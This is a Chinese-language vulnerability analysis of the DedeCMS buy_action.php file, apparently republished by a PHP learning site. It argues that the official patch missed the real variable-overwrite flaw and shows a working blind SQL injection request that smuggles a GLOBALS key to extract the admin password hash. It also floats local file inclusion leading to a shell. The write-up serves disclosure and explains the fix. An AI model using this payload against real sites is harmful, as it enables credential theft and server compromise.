来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 0x00 前言不可否认,官方应对安全漏洞的能力以及这次发布的安全补丁也是十分的失败的!大家再回来看看: http: www 2cto com Article 201405 304272 html (文章: http: www 2cto com Article 201403 2...
0x00 前言
不可否认,官方应对安全漏洞的能力以及这次发布的安全补丁也是十分的失败的!
大家再回来看看: http://www.2cto.com/Article/201405/304272.html (文章: http://www.2cto.com/Article/201403/282443.html ) 分析,确实是很黄很暴力!
但:大家再看看,造成这次漏洞的原因是加密太简单?分析这个漏洞的人也是傻眼了吧?补丁是否能真正解决问题?下面我们来分析下看看。
0x01 漏洞分析
回头看buy_action.php 这个文件(修复版)。
代码 25行
parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post); foreach($mch_Post as $k => $v) $$k = $v;
很明显,造成这次漏洞的原因是变更覆盖。
但官方修复却是 加强mchStrCode函数的加密强度。
我们再看调用:mchStrCode 的地方
同文件的 112 行
$pr_encode = ''; foreach($_REQUEST as $key => $val) { $pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val"; } $pr_encode = str_replace('=', '', mchStrCode($pr_encode));
傻了,这 $key 和 $val 都可以控制呀。。
如果可以直接传入
GLOBALS[cfg_dbprefix] 不就可以造成变量覆盖了吗?
但了解dede的人都知道,在文件:include/common.inc.php 有全局过滤 GLOBALS 开头键、值的过滤函数,绕过这个好像比较登天还要难吧!
但实际上,&$key=$val 这样的拼接,还可以值里输入 &a=x 这样的呀,解释后不就可以利用了么?
0x02 漏洞测试
此处是一个盲注,为了测试方便,我们直接修复执行语句的文件,打印出执行的语句:
echo $this->queryString."<br>"; http://localhost/member/buy_action.php? POST pid=1&product=card&a=b%26GLOBALS[cfg_dbprefix]=dede_member_operation where mid=9999 or @`'` or (ascii(substring((select pwd from dede_admin limit 0,1),1,1))=97)#%26product=@`'`
注意到 %26 即 &
然后点击购买并支付
可以看到语句被成功地注入到查询中。
根据回应不同,我们可以盲注成数据库中的数据。
0x03 漏洞深入分析
128行
$rs = $dsql->GetOne("SELECT * FROM `detest_payment` WHERE id='$paytype' "); require_once DEDEINC.'/payment/'.$rs['code'].'.php';
如果覆盖变量 $paytype ,可以造成本地文件包含?通过包含文件是否就能拿shell了?
不难发现 parse_str 受GPC控制,利用条件也就是GPC OFF
测试之
拿shell方法暂不研究了,有兴趣的可以继续。
0x04 总结
有时漏洞点一个,但利用方式很多,把主要造成漏洞的地方修复了,才是真正的修复,而不是看别人指那就修复那。
修复方案:
变量覆盖的地方。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com